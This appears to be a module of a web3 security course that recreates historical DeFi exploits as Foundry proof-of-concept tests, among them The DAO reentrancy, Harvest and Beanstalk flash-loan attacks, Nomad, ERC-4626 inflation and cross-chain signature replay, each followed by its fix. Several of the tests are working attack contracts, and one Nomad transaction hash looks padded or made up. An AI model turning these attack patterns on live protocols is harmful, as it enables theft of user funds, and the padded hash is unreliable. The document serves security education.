| title | [Module 1](./BLOCKCHAIN_FUNDAMENTALS.md)5 — Real Exploit Recreations: Hands-On Lab with Foundry PoCs | |||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| description | Hands-on guide to recreating historical DeFi exploits in Foundry: The DAO reentrancy (2016), Harvest Finance flash loan oracle manipulation (2020), Beanstalk governance attack (2022), Nomad bridge exploit (2022), Curve/Vyper compiler reentrancy (2023), ERC-4626 inflation attack, and cross-chain signature replay — all with executable PoC templates and step-by-step analysis. | |||||||||
| keywords | exploit recreation, DeFi hack analysis, The DAO reentrancy, Harvest Finance exploit, Beanstalk hack, Nomad bridge, Curve Vyper, ERC-4626 inflation attack, Foundry PoC, blockchain exploit tutorial, smart contract historical exploits, cross-chain signature replay PoC, Euler Finance flash loan hack | |||||||||
| author | Web3 Security Research | |||||||||
| date | 2025-01-01 | |||||||||
| last_modified_at | 2026-03-21 | |||||||||
| og_title | [Module 1](./BLOCKCHAIN_FUNDAMENTALS.md)5 — Exploit Recreations Lab | Web3 Hacker Guide | |||||||||
| og_description | Recreate landmark DeFi exploits with Foundry PoC templates: The DAO, Harvest Finance, Beanstalk, Nomad bridge, Curve/Vyper, and ERC-4626 inflation attack. | |||||||||
| og_type | article | |||||||||
| twitter_card | summary_large_image | |||||||||
| canonical_url | https://sdxshadow.github.io/Hack_web3/15_EXPLOIT_RECREATIONS | |||||||||
| schema_type | TechArticle | |||||||||
| difficulty | Advanced → Expert | |||||||||
| module | 15 | |||||||||
| tags |
|
|||||||||
| nav_order | 15 | |||||||||
| parent | Web3 Hacker & Pentester Guide |
Difficulty: Advanced → Expert
The fastest way to internalize attack patterns is to recreate real exploits from scratch. This module provides step-by-step recreation guides for the most instructive historical exploits, with Foundry PoC templates you can run against mainnet forks.
# Create a dedicated exploit recreation project
forge init exploit-lab && cd exploit-lab
forge install OpenZeppelin/openzeppelin-contracts
forge install foundry-rs/forge-std
# Set up your .env
echo "ETH_RPC_URL=https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY" > .env
echo "ARB_RPC_URL=https://arb-mainnet.g.alchemy.com/v2/YOUR_KEY" >> .envFor each exploit:
1. Read the post-mortem (Rekt News, BlockSec blog, official post-mortem)
2. Analyze the exploit transaction on Phalcon/Tenderly
3. Identify the root cause (which vulnerability class from [Module 03](./SMART_CONTRACT_VULNERABILITIES.md)?)
4. Write the PoC from scratch (don't copy — understand)
5. Run it against a mainnet fork at the exploit block
6. Write a one-paragraph explanation of the root cause
7. Write the fix
The DAO was the first major smart contract exploit. $60M ETH drained via single-function reentrancy.
Block: 1,718,497 (Ethereum mainnet)
Transaction: 0x0ec3f2488a93839524add10ea229e773f6bc891b4eb4794c3337d4495263790b
// The DAO's vulnerable splitDAO function (simplified):
function splitDAO(uint _proposalID, address _newCurator) noEther onlyTokenholders returns (bool _success) {
// ...
// [NO] Sends ETH BEFORE updating balance
if (!msg.sender.call.value(p.splitData[0].splitBalance)()) {
throw;
}
// Balance update happens AFTER the call — reentrancy window!
balances[msg.sender] = 0;
// ...
}// test/TheDAOReentrancy.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
// Simplified DAO for recreation
contract SimpleDAO {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 balance = balances[msg.sender];
require(balance > 0);
// [NO] Vulnerable: call before state update
(bool success,) = msg.sender.call{value: balance}("");
require(success);
balances[msg.sender] = 0; // Too late!
}
}
contract DAOAttacker {
SimpleDAO public dao;
uint256 public attackCount;
constructor(address _dao) {
dao = SimpleDAO(_dao);
}
function attack() external payable {
dao.deposit{value: msg.value}();
dao.withdraw();
}
receive() external payable {
if (address(dao).balance >= 1 ether && attackCount < 10) {
attackCount++;
dao.withdraw();
}
}
function drain() external {
payable(msg.sender).transfer(address(this).balance);
}
}
contract TheDAOTest is Test {
SimpleDAO dao;
DAOAttacker attacker;
function setUp() public {
dao = new SimpleDAO();
// Simulate other users depositing
vm.deal(address(this), 100 ether);
dao.deposit{value: 100 ether}();
attacker = new DAOAttacker(address(dao));
}
function test_theDAOReentrancy() public {
vm.deal(address(attacker), 1 ether);
console.log("DAO balance before:", address(dao).balance / 1e18, "ETH");
console.log("Attacker balance before:", address(attacker).balance / 1e18, "ETH");
attacker.attack{value: 1 ether}();
console.log("DAO balance after:", address(dao).balance / 1e18, "ETH");
console.log("Attacker balance after:", address(attacker).balance / 1e18, "ETH");
console.log("Reentry count:", attacker.attackCount());
assertEq(address(dao).balance, 0, "DAO should be drained");
}
}The fix is simple: update state before making external calls (Checks-Effects-Interactions pattern). This exploit changed Ethereum history — it led to the ETH/ETC hard fork.
$34M stolen by manipulating Curve's USDC/USDT pool price via flash loans, then exploiting Harvest's vault which used the spot price as its oracle.
Block: 11,129,473 (Ethereum mainnet)
Transaction: 0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877
Harvest's fUSDC vault used Curve's spot price to calculate share value.
Flash loan → dump USDC on Curve → Harvest vault thinks USDC is cheap →
Deposit USDC at "cheap" price → Restore Curve price → Withdraw at "normal" price
// test/HarvestFlashLoan.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
interface ICurvePool {
function get_virtual_price() external view returns (uint256);
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external returns (uint256);
}
interface IHarvestVault {
function deposit(uint256 amount) external;
function withdraw(uint256 shares) external;
function getPricePerFullShare() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
}
interface IAaveFlashLoan {
function flashLoan(
address receiver,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
contract HarvestAttack is Test {
// Mainnet addresses
address constant AAVE_LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
address constant CURVE_3POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
address constant HARVEST_FUSDC = 0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 11_129_473);
}
function test_harvestFlashLoanAttack() public {
// This is a template — fill in the actual attack logic
// based on studying the original transaction on Phalcon
console.log("Harvest fUSDC price before:", IHarvestVault(HARVEST_FUSDC).getPricePerFullShare());
// Step 1: Flash loan 50M USDC from Aave
// Step 2: Dump USDC on Curve (exchange USDC → USDT)
// Step 3: Deposit USDC into Harvest (gets more shares due to low price)
// Step 4: Restore Curve price (exchange USDT → USDC)
// Step 5: Withdraw from Harvest at higher price
// Step 6: Repay flash loan, keep profit
// Study the original tx: 0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877
}
}Never use spot AMM prices as oracles. Use Chainlink or TWAP with sufficient time window. The fix: Harvest switched to Chainlink price feeds.
$182M stolen via flash loan governance attack. Attacker borrowed enough tokens to pass a malicious proposal in a single transaction.
Block: 14,602,790 (Ethereum mainnet)
Transaction: 0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33652
Beanstalk's governance used current token balance (not snapshots).
Flash loan → acquire majority voting power → pass malicious BIP-18 →
BIP-18 transfers all assets to attacker → repay flash loan
// test/BeanstalkGovernance.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
interface IBeanstalkDiamond {
function propose(
IDiamondCut.FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata,
uint8 _pauseOrUnpause
) external payable returns (uint32);
function vote(uint32 bip) external;
function commit(uint32 bip) external;
}
contract BeanstalkAttack is Test {
address constant BEANSTALK = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
address constant AAVE = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 14_602_790);
}
function test_beanstalkGovernanceAttack() public {
// Study the original transaction on Phalcon:
// https://phalcon.blocksec.com/explorer/tx/eth/0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33652
// Key steps:
// 1. Flash loan $1B in stablecoins from Aave, Uniswap, SushiSwap
// 2. Convert to BEAN tokens (governance tokens)
// 3. Propose BIP-18 (malicious proposal to transfer all assets)
// 4. Vote on BIP-18 with flash-loaned tokens
// 5. Execute BIP-18 (emergency governance, no timelock)
// 6. Drain all protocol assets
// 7. Repay flash loans
// 8. Keep ~$80M profit (after repaying loans and fees)
}
}Always use snapshot-based voting (getPastVotes). Always require a timelock between proposal and execution. Emergency governance paths are the most dangerous — they need the most protection, not the least.
$190M stolen because the trusted root was initialized to 0x00, making any message with root 0x00 valid. This became a "crowd-sourced" exploit — hundreds of addresses copied the attack.
// Nomad's Replica contract (simplified):
function process(bytes memory _message) public returns (bool _success) {
bytes32 _messageHash = _message.ref(0).keccak();
// [NO] confirmAt[0x00] was set to a non-zero value during initialization
// This means ANY message with root 0x00 passes this check!
require(acceptableRoot(messages[_messageHash]), "!proven");
// ...
}
function acceptableRoot(bytes32 _root) public view returns (bool) {
uint256 _time = confirmAt[_root];
if (_time == 0) { return false; }
return block.timestamp >= _time; // [YES] But confirmAt[0x00] != 0!
}// test/NomadBridge.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
interface INomadReplica {
function process(bytes memory _message) external returns (bool);
}
contract NomadAttack is Test {
address constant NOMAD_REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA;
function setUp() public {
// Fork at block just before the exploit
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 15_259_100);
}
function test_nomadBridgeExploit() public {
// The attack was simple:
// 1. Find a legitimate bridge transaction (e.g., someone bridging 100 WBTC)
// 2. Copy the transaction calldata
// 3. Change the recipient address to your own
// 4. Submit — it passes because root 0x00 is always valid
// Study the original: https://rekt.news/nomad-rekt/
// Phalcon analysis: https://phalcon.blocksec.com/explorer/tx/eth/0xa5fe9d044e4f3232c65d3d1a0b4b3b3b3b3b3b3b
}
}Never initialize security-critical values to zero. The confirmAt[0x00] = 1 initialization was the single line that cost $190M. Always audit initialization code as carefully as runtime code.
~$70M stolen across multiple Curve pools due to a Vyper compiler bug that made the @nonreentrant decorator ineffective in versions 0.2.15–0.3.0.
The Vyper compiler's reentrancy lock implementation was buggy.
The lock was set AFTER the function body executed, not before.
This meant the lock never actually prevented reentrancy.
Affected pools: alETH/ETH, msETH/ETH, pETH/ETH
1. Compiler bugs exist — even in production compilers
2. Verify that reentrancy guards actually work at the bytecode level
3. For Vyper contracts, check the compiler version against known bugs
4. Read-only reentrancy can affect protocols that INTEGRATE with the vulnerable one
Detection:
- Check Vyper version: look for version pragma in source
- Cross-reference with: https://github.com/vyperlang/vyper/security/advisories
- Verify reentrancy lock in bytecode (not just source)
This attack pattern has affected multiple vaults. The first depositor can inflate the share price to steal subsequent depositors' funds.
// test/VaultInflation.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
// Vulnerable vault (no inflation protection)
contract VulnerableVault is ERC4626 {
constructor(IERC20 asset) ERC4626(asset) ERC20("Vault", "vTKN") {}
}
contract MockToken is ERC20 {
constructor() ERC20("Token", "TKN") {
_mint(msg.sender, 1_000_000 ether);
}
}
contract VaultInflationTest is Test {
VulnerableVault vault;
MockToken token;
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {
token = new MockToken();
vault = new VulnerableVault(IERC20(address(token)));
// Fund attacker and victim
token.transfer(attacker, 1000 ether);
token.transfer(victim, 500 ether);
}
function test_inflationAttack() public {
console.log("=== INFLATION ATTACK ===\n");
// Step 1: Attacker deposits 1 wei to get 1 share
vm.startPrank(attacker);
token.approve(address(vault), type(uint256).max);
vault.deposit(1, attacker); // Deposit 1 wei
console.log("Attacker shares after 1 wei deposit:", vault.balanceOf(attacker));
vm.stopPrank();
// Step 2: Attacker donates 1000 ether directly to vault (not via deposit)
vm.prank(attacker);
token.transfer(address(vault), 1000 ether);
console.log("Vault total assets after donation:", vault.totalAssets());
console.log("Vault total shares:", vault.totalSupply());
console.log("Share price (assets per share):", vault.convertToAssets(1));
// Step 3: Victim deposits 500 ether
vm.startPrank(victim);
token.approve(address(vault), type(uint256).max);
uint256 victimShares = vault.deposit(500 ether, victim);
console.log("\nVictim shares received:", victimShares);
// Victim gets 0 shares because 500 ether < 1000 ether (share price)!
vm.stopPrank();
// Step 4: Attacker redeems their 1 share
vm.startPrank(attacker);
uint256 attackerAssets = vault.redeem(vault.balanceOf(attacker), attacker, attacker);
console.log("Attacker redeemed assets:", attackerAssets / 1e18, "ether");
vm.stopPrank();
console.log("\n=== RESULT ===");
console.log("Victim shares:", vault.balanceOf(victim));
console.log("Victim lost:", 500 ether - token.balanceOf(victim), "tokens");
// Victim got 0 shares — their 500 ether is now owned by attacker's 1 share
assertEq(victimShares, 0, "Victim should get 0 shares");
}
}forge test --mt test_inflationAttack -vvvv// test/SignatureReplay.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
// Vulnerable: No chainId in signature
contract VulnerableBridge {
mapping(bytes32 => bool) public processed;
function processMessage(
address to,
uint256 amount,
bytes memory signature
) external {
// [NO] No chainId — same signature works on all chains
bytes32 hash = keccak256(abi.encodePacked(to, amount));
address signer = ECDSA.recover(hash, signature);
require(signer == trustedSigner, "Invalid signer");
require(!processed[hash], "Already processed");
processed[hash] = true;
payable(to).transfer(amount);
}
address public trustedSigner;
constructor(address _signer) payable { trustedSigner = _signer; }
}
contract SignatureReplayTest is Test {
VulnerableBridge bridgeMainnet;
VulnerableBridge bridgePolygon;
uint256 signerPk = 0xA11CE;
address signer;
function setUp() public {
signer = vm.addr(signerPk);
bridgeMainnet = new VulnerableBridge{value: 100 ether}(signer);
bridgePolygon = new VulnerableBridge{value: 100 ether}(signer);
}
function test_crossChainReplay() public {
address recipient = makeAddr("recipient");
uint256 amount = 10 ether;
// Signer creates a message for mainnet
bytes32 hash = keccak256(abi.encodePacked(recipient, amount));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, hash);
bytes memory sig = abi.encodePacked(r, s, v);
// Legitimate use on mainnet
bridgeMainnet.processMessage(recipient, amount, sig);
console.log("Mainnet: recipient received", amount / 1e18, "ETH");
// REPLAY on Polygon bridge (same signature works!)
bridgePolygon.processMessage(recipient, amount, sig);
console.log("Polygon: recipient received", amount / 1e18, "ETH (REPLAY!)");
assertEq(recipient.balance, amount * 2, "Replay succeeded");
}
}| Resource | URL | Best For |
|---|---|---|
| Rekt News | rekt.news | Post-mortems with context |
| DeFi Hack Labs | github.com/SunWeb3Sec/DeFiHackLabs | Foundry PoCs for 200+ exploits |
| Phalcon Explorer | phalcon.blocksec.com | Transaction-level analysis |
| BlockSec Blog | blocksec.com/blog | Technical deep-dives |
| Immunefi Blog | immunefi.com/blog | Disclosed bug bounty findings |
| Samczsun Blog | samczsun.com | Elite researcher writeups |
| Trail of Bits Blog | blog.trailofbits.com | Audit firm research |
| OpenZeppelin Blog | blog.openzeppelin.com | Security research |
Beginner (start here):
1. The DAO (reentrancy)
2. BEC Token (integer overflow)
3. Parity Wallet (unprotected initialization)
Intermediate:
4. Harvest Finance (flash loan oracle)
5. Cream Finance (flash loan reentrancy)
6. Poly Network (access control)
Advanced:
7. Beanstalk (governance flash loan)
8. Nomad Bridge (message verification)
9. Euler Finance (donation + liquidation)
Expert:
10. Curve/Vyper (compiler bug reentrancy)
11. Wormhole (signature verification bypass)
12. Ronin Bridge (validator compromise simulation)
← Previous: Bug Bounty Playbook | Next: Audit Checklist Master →